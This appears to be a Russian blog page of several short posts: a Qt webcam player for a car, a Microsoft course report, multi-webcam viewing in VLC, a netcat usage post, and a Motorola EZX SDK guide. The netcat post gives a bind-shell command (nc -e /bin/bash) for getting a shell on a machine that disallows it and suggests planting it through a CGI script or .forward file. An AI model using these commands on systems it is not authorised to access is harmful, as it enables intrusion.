Делаю самодельный видеоплеер для вебкамеры в QtCreator

Исходные данные

Имеется нетбук c Ubuntu 11.10 и отечественный автомобиль с вебкамерой, прицепленной на заднем стекле. При их скрещивании получается устройство

/dev/video0

Что нам надо

Буду писать програмку, которая будет для меня показывать картинку с вебкамеры. Всякие плееры вроде VLC конечно хорошо, но в своём творении можно и кнопочек полезных добавить, и картинки в интернет пулять, и ещё много чего полезного придумать. Для начала ограничимся минимумом — пусть у нас в окне будет виджет, который будет нам показывать картинку с камеры. Всё остальное можно будет нашлёпать сверху позже. Для всякой мультимедии в Qt используется модуль Phonon, будем использовать его.

Готовимся

Предварительно должен быть установлен QtCreator. Ещё устанавливал следующие пакеты:

$ sudo apt-get install phonon-backend-vlc
 $ sudo apt-get install libphonon-dev

Пока их не поставил — почему-то ничего не хотело работать. Может быть ещё что-то должно быть установлено, но у меня уже было, в коментах спросите если надо.

Поехали

Ну значит создаём проект как обычно. Названия классов не менял, проект обозвал MyCameras. Первым делом открываем MyCameras.pro и правим первую разумную строчку чтоб получилось

QT       += core gui phonon

Теперь берёмся за mainwindow.cpp (привожу сразу весь код, там немного):

#include "mainwindow.h"
#include "ui_mainwindow.h"
#include <Phonon/VideoPlayer>
MainWindow::MainWindow(QWidget *parent) :
 QMainWindow(parent),
 ui(new Ui::MainWindow)
 {
 ui->setupUi(this);
 qApp->setApplicationName("mycameras");
 Phonon::VideoPlayer *player = new Phonon::VideoPlayer(Phonon::VideoCategory, this);
 connect(player, SIGNAL(finished()), player, SLOT(deleteLater()));
 QString url = "v4l2://///dev/video0";
 player->resize(300,200);
 player->move(0,0);
 player->play(Phonon::MediaSource(url));
 }
MainWindow::~MainWindow()
 {
 delete ui;
 }
самодельный видеоплеер для вебкамеры в Qt

самодельный видеоплеер для вебкамеры в Qt

Вот такой player у нас получился:

Вот как-то так. Это то, что у меня заработало, пока свою программу минимум выполнил.

Что дальше

Собираюсь развивать тему дальше. Во-первых, одна камера хорошо, а много — лучше. Хочу сделать интерфейс для показа видео сразу с нескольких камер, чтоб между ними было удобно переключаться в условиях управления автомобилем. Во-вторых, хочу настроить сохранение фото и видео. Ну и на последок пусть всё сохраняется в интернет. Посмотрим, на что терпения хватит. Если вдруг кому тоже такую чудо-программу надо — пишите, организуемся, мне одному лениво делать.

Как проходят занятия на курсах Microsoft

Расскажу, как примерно проходило обучение по MS SQL Server в Екатеринбурге. Пост для тех, кто на курсах микрософта ни разу в жизни не был и не представляет, что это такое. Технических вопросов раскрывать не буду, только организационная информация.

Расписание занятий

Обучение проходило 5 дней. Занятия начинались в 9-30 (по факту начинали минут на 10-20 позже, жадли, пока все соберутся). С 13 до 14 часов бесплатный обед типа бизнес-ланча: салатик, суп, гарнир с мясом и чай. Заканчивалась учёба около 17-00 плюс минус пол часа. У меня все 5 дней выпали на рабочие, однако занятия могут выпасть и на выходные дни. В течение дня предусмотрены кофе-брейки: чай, кофе, печеньки.

Учебный материал

Занимались на компьютерах учебного центра. На каждом компьютере через Hyper-V были предварительно подготовлены 3 виртуальные машины: один контроллер домена и две для выполнения наших лабораторных работ. Нам всем раздали по толстой книжке на АНГЛИЙСКОМ языке и почему-то без диска (который должен быть). Тренер конечно лекции читает на русском, но лабораторные без понимания английского выполнить нереально. Курс был разбит на 20 разделов, соответственно каждый день планировалось изучать по 4 раздела. Сперва тренер читает лекцию, по ходу дружно обсуждаем материал, задаём вопросы. Когда вопросы кончаются — тренер предлагает по книжке выполнить лабораторную работу, о содержимом которой может сам не до конца догадываться. Во время лаборатонной можно тупо делать всё по книжке, можно пытаться попробовать свои варианты развития событий, можно задавать вопросы, можно ВООБЩЕ НИЧЕГО НЕ ДЕЛАТЬ! Результаты выполнения лабораторных проверять никто не будет, студенты работают сами на себя.

Первый день

Группа у нас набралась целых 3 человека. Познакомились с тренером и с представителями учебного центра, послушали вводный инструктаж, порешали вопросы с договорами и командировочными документами. Затем приступили к изучению материала.

Со второго по четвёртый день

Изучали материал в обычном режиме.

День пятый — последний

Заканчивали изучение оставшихся тем. По ходу дня заполнили две анкеты, на сколько баллов мы оцениваем преподавателя, учебный центр и материал курса микрософта. На последок расписались в том, что занятия мы исправно посещали и что обеды исправно кушали. Затем получили сертификаты (типа справки о том, что курс мы успешно прослушали). После этого одни разошлись по домам, другие остались задавать вопросы, ответы на которые за всё обучение так и не получили. Тренер старался отвечал.

Выводы

Чтобы успешно освоить программу курса, надо на уровне чтения владеть английским. На втором месте — общее понимание темы, которую собрался изучать. Далеко не все курсы для чайников. Ну и лучше сразу представлять, какие из тем придётся потом применять на практике, чтоб получить максимум ответов на свои вопросы.

В тему:

90 Days to MCSA

Подготовка к экзаменам microsoft

Сдал 70-410 Installing and Configuring Windows Server 2012

Как смотреть видео с нескольких вебкамер в Ubuntu Linux

Кратко о том, зачем всё это мне понадобилось. Увидел в магазине дешевые вебкамеры по 99р. и решил развешать по своей машине (парковаться удобнее и т.п.) Типа камеры подключаются через удлинители в usb-хаб, дальше в ноутбук, ну и там будем смотреть себе под задний бампер и ещё куда-нибудь.

Будем использовать проигрыватель VLC. sudo apt-get install vlc наверно все умеют делать. Предварительно его надо настроить на работу в многооконном режиме: инструменты — настройки — интерфейс — снять галочку «разрешить только одну копию». Там же можно включить «минимальный режим (без панелей)» — так будет удобнее на видео смотреть.

Подключаем к ноутбуку, или что у нас там, все наши камеры и узнаём их имена командой

$ ls /dev | grep video
video0
video1

Открываются камеры так:

vlc v4l2:///dev/video0
vlc v4l2:///dev/video1

короче те устройства, которые нашли выше. Вот примерно так всё работает. Надо будет ещё скрипт написать, который будет сам по списку видеокамер пробегаться и vlc запускать.

Практические примеры использования утилиты netcat.

Статья «Netcat and Reverse Telnet» иллюстрирует как с помощью утилиты netcat (nc) осуществить создание простейшего туннеля, например, для организации работы в shell, на машине явно не допускающей такое действие.

Простейший echo-туннель:
  Серверный процесс: nc -l -p 5600
  Клиент: nc 10.0.1.1 5600

netcat для пересылки файла:
 Сервер (куда писать файл): nc -v -w 30 -p 5600 l- > filename.back
 Клиент: nc -v -w 2 10.0.1.1 5600 < filename

Работа в shell через туннель
  Сервер: nc -l -p 5600 -e /bin/bash
  Клиент: nc 10.0.1.1. 5600
Серверный код можно запустить, например, через cgi-скрипт или .forward файл.

[GUIDE] Unofficial EZX SDK for Motorola EZX Phones (A1200, E6)

Руководство по неофициальному SDK для телефонов Motorola EZX (A1200)

EZX SDK is a set of C++ header file (*.h) for QT libraries and EZX libraries for EZX phones. Until now there have no sign from Motorola to release official EZX SDK. so we need to hack it ourself.
QT is a application development platform for C++ see more detail from http://qt.nokia.com/. QT version on A1200 and E6 is 2.3.8.

Specification of SDK

  • Support for A1200, and ROKR E6 EZX/QT/C++ development.
  • A1200/E6 have the same SDK
  • This is not an Official SDK from Motorola. so some class or header file not 100% working.
  • use progen to create project file.
  • use tmake to create Makefile.
  • This SDK comes with helloezx project which contains 3 files. [main.cpp, helloezx.h, and helloezx.cpp]

Requirements

* C++ programming basic knowledge.* Linux shell command basic knowledge.
Preparing SDK for development

extract the ezxsdk.7z you will get a ezxsdk.tar archive now we have to extract this ezxsdk.tar archieve in /home/ezxsdk
extracting ezxsdk.tar in /home

Commands to execute :

sudo mkdir /home/ezxsdk
sudo chmod 0777 /home/ezxsdk
cd /home
tar xvf ‘/path/to/ezxsdk.tar’

Creating a helloezx program

Setting up compiler Environment for SDK

. /home/ezxsdk/env.sh — be careful this command start with dot and space.

go to your project directory

cd helloezx

Generate project file using progen

progen -o helloezx.pro

Creating a Makefile for compiler

tmake helloezx.pro -o Makefile

Create helloezx ‘s binary file

make

if everything is ok you ‘ll get “helloezx” file in your project folder.
Testing your first app by copy helloezx file into your mmc and execute this commands via telnet.

. /home/native/.profile — this command start with dot and space too.
cd /mmc/mmca1
./helloezx

if you done a right step Hello EZX application should appear on phone screen. VIVA! you are new Ezx developer now!
Package it into mpkg format for testing and distribute your application.
What to do next?  If you want to learn more QT goto http://qt.nokia.com/

Thanks to
NUKIN aka Novesky @ Motorolafans.com
Eakrin (eakrin@gmail.com) for helloEZX application.
BruceLee @ Motorolafans.com for pointing out some error in tutorial. and for EZX-SDK+SDL archive
Links : Motorola Development Community, Moto-E6-SDK

DOWNLOAD
EZX-SDK : Download
EZX-SDK-SDL : Download